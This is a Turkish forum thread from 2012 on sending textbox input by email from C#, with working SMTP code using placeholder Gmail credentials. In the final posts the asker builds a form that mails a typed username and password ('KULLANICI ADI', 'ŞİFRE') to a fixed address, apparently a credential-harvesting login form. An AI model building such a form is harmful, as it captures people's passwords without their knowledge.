Jump to content

C# Textboxta Girilen Bilgiyi Mail Attırma


Anarchosa
 Share

Recommended Posts

[size="3"][size="2"][b]C#'ta textboxa girilen bir bilgiyi nasıl mail ile gönderebiliriz,merak ediyorum programı sürekli kullanıyorum konuyu açarken boş boş hiç uğraşmadan açmak istemedim gelebildiğim yere kadar geldim ancak textbox bilgisini ekleyerek gönderme işlemini sağlayamıyorum.[/b][/size][/size]

[codebox]Eposta.From = new MailAddress("gönderecek kisi");


Eposta.To.Add("gönderilecek eposta");
Eposta.To.Add("gönderilecek eposta");
Eposta.Attachments.Add(new Attachment(@"C:\deneme.txt"));

Eposta.Subject = "Konu";

SmtpClient smtp = new SmtpClient();
smtp.Host = "smtp.live.com";
smtp.EnableSsl = true;
smtp.SendAsync(Eposta, (object)Eposta);
smtp.Credentials = new System.Net.NetworkCredential("gönderecek kisi", "sifresi");
smtp.Send(Eposta);
smtp.Port = 25;[/codebox]
Link to comment
Share on other sites

Pek anlamıyorum, C# diline başlayalı bir hafta oldu. İki tane textbox oluştur, bir tanesi alıcı mail, bir tanesi konu başlığı. İleti için richtextbox kullandım, sen düzenlersin.

Namespace alanına ;
[code]using System.Net.Mail;[/code]

Gönderecek Kodlar ;
[codebox]
try
{
MailMessage mesaj = new MailMessage();
mesaj.From = new MailAddress("gonderici[at]gmail.com", "Gönderen Adı", System.Text.Encoding.UTF8);
SmtpClient smtp = new SmtpClient();
mesaj.To.Add(textBox1.Text); // alici
mesaj.Subject = textBox2.Text; //konu
mesaj.IsBodyHtml = false;
mesaj.BodyEncoding = System.Text.Encoding.UTF8;
mesaj.Body = richTextBox1.Text;
mesaj.Priority = MailPriority.High;
smtp.Credentials = new System.Net.NetworkCredential("gonderici[at]gmail.com", "sifre");
smtp.Port = 587;
smtp.Host = "smtp.gmail.com";
smtp.EnableSsl = true;
smtp.Send(mesaj);

}
catch (Exception ex) { MessageBox.Show(ex.Message.ToString()); }
[/codebox]

Bir sorun olursa try catch sana söyler :)

Link to comment
Share on other sites

Mesela şöyle bişey yapılabilirmi?

mesaj gönderirken body komutunu kullanıyoruz BODY komutu sadece şifreyi textboxu alıp gönderm yapıyor
kullanıcı adını almıyor buna bir çözüm bulabilirmiyiz?
[img]http://www.tnctr.com/uploads/imgs/pre_1344537086__deneme.jpg[/img]


Tamamdır buyrun nasıl yaptığıma bakabilirsiniz.

[code]mesaj.Body ="KULLANICI ADI:"+ textBox1.Text + ","+ "ŞİFRE:"+ textBox2.Text;[/code]

Edited by Anarchosa
Link to comment
Share on other sites

[quote name='DivaneTR' date='09 August 2012 - 20:34 ' timestamp='1344537248' post='1229247']
Dediğini tam anlamadım. BODY komutu derken neyi kastediyorsun ?
[/quote]

body komutu hotmailde mesajın içeriğidir biliyorsun,yalnız ben 2 textbox oluşturduğum için ilk textbox1 alıyor 2.textbox 2 almıyordu ben yanlış komut kullanmıştım kullandığım yanlış konut şuydu
[codebox] mesaj.Body = "KULLANICI ADI:"+textBox1.Text;
mesaj.Body = "ŞİFRE"+ textBox2.Text;[/codebox]
bu yüzden sıkıntı çıktı daha önceden C# bilgimle olayı hatırladım Tek body üzerinden 2 textbox kutusunu birleştirip + "," + ayrım yaparak textbox girişini sağlattım. :)

kullandığım tek body üzerinden:
[code]mesaj.Body ="KULLANICI ADI:"+ textBox1.Text + ","+ "ŞİFRE:"+ textBox2.Text;[/code]
inş anlatabildim.

Edited by Anarchosa
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...